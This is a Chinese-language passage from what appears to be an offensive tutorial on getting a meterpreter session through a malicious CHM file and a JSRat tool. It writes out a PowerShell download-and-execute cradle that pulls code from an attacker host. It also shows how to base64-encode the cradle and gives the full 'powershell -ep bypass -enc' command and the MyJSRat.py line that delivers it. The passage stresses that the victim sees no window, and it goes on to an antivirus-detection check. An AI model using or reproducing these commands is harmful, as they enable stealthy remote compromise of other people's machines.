由于存在特殊字符，我们可以把以上代码编码为base64格式，将以下代码存入power.txt：
- $n=new-object net.webclient; $n.proxy=[Net.WebRequest]::GetSystemWebProxy(); $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $n.downloadstring('http://192.168.1.101:8081/');
执行以下命令：
- cat power.txt | iconv --to-code UTF-16LE |base64
最终要执行的powershell命令为：
- powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==
使用执行命令模式直接获取meterpreter会话：
- python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="
测试过程中，从运行CHM到获取meterpreter，客户端无明显异常，全程无黑框弹出，获取到meterpreter会话如下图：
3. 是否被杀?
可能很多人会问，会不会被杀，下面是virscan的查杀结果：
